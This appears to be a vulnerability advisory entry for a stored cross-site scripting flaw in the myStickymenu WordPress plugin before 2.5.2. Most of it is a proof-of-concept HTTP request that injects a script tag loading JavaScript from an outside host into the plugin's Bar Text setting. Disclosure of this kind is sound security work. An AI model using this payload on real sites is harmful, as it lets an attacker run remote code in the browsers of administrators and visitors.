Lucene search

K
wpvulndbM0zeWPVDB-ID:14632FA8-597E-49FF-8583-9797208A3583
HistoryJun 21, 2021 - 12:00 a.m.

myStickymenu < 2.5.2 - Authenticated Stored XSS

2021-06-2100:00:00
m0ze
wpscan.com
9
mystickymenu
plugin
authenticated
stored xss
bar text
settings
cross-site scripting
welcome bar
poc
payload
wordpress

EPSS

0.001

Percentile

24.8%

The plugin does not sanitise or escape its Bar Text settings, allowing hight privilege users to use malicious JavaScript in it, leading to a Stored Cross-Site Scripting issue, which will be triggered in the plugin’s setting, as well as all front-page of the blog (when the Welcome bar is active)

PoC

Put the following payload in the Bar Text settings of the plugin and save them: PoC | Authenticated Persistent XSS | Welcome Bar > Bar Text: POST /wp-admin/admin.php?page=my-stickymenu-welcomebar HTTP/2 Host: example.com Cookie: [admin cookies] User-Agent: Mozilla/5.0 Content-Type: application/x-www-form-urlencoded Content-Length: 1634 mysticky_option_welcomebar%5Bmysticky_welcomebar_enable%5D=1&mysticky;_option_welcomebar%5Bmysticky_welcomebar_position%5D=top&mysticky;_option_welcomebar%5Bmysticky_welcomebar_bgcolor%5D=%2303ed96&mysticky;_option_welcomebar%5Bmysticky_welcomebar_bgtxtcolor%5D=%23000000&mysticky;_option_welcomebar%5Bmysticky_welcomebar_font%5D=Poppins&mysticky;_option_welcomebar%5Bmysticky_welcomebar_fontsize%5D=14&mysticky;_option_welcomebar%5Bmysticky_welcomebar_bar_text%5D=PoC%3C%2Ftextarea%3E–%3E%3Cscript+src%3Dhttps%3A%2F%2Fm0ze.ru%2Fpayload%2Fa.js%3E%3C%2Fscript%3E&mysticky;_option_welcomebar%5Bmysticky_welcomebar_x_desktop%5D=desktop&mysticky;_option_welcomebar%5Bmysticky_welcomebar_x_mobile%5D=mobile&mysticky;_option_welcomebar%5Bmysticky_welcomebar_btn_desktop%5D=desktop&mysticky;_option_welcomebar%5Bmysticky_welcomebar_btn_mobile%5D=mobile&mysticky;_option_welcomebar%5Bmysticky_welcomebar_btncolor%5D=%23000000&mysticky;_option_welcomebar%5Bmysticky_welcomebar_btntxtcolor%5D=%23ffffff&mysticky;_option_welcomebar%5Bmysticky_welcomebar_btn_text%5D=Got+it%21&mysticky;_option_welcomebar%5Bmysticky_welcomebar_attentionselect%5D=flash&mysticky;_option_welcomebar%5Bmysticky_welcomebar_actionselect%5D=redirect_to_url&mysticky;_option_welcomebar%5Bmysticky_welcomebar_redirect%5D=https%3A%2F%2Fwww.yourdomain.com&mysticky;_option_welcomebar%5Bmysticky_welcomebar_aftersubmission%5D=dont_show_welcomebar&mysticky;_option_welcomebar%5Bmysticky_welcomebar_triggersec_automatically%5D=0&mysticky;_option_welcomebar%5Bmysticky_welcomebar_entry_effect%5D=slide-in&submit;=Save&nonce;=d70ad0b6ae&active;_tab_element=1&save;_welcome_bar=

EPSS

0.001

Percentile

24.8%

Related for WPVDB-ID:14632FA8-597E-49FF-8583-9797208A3583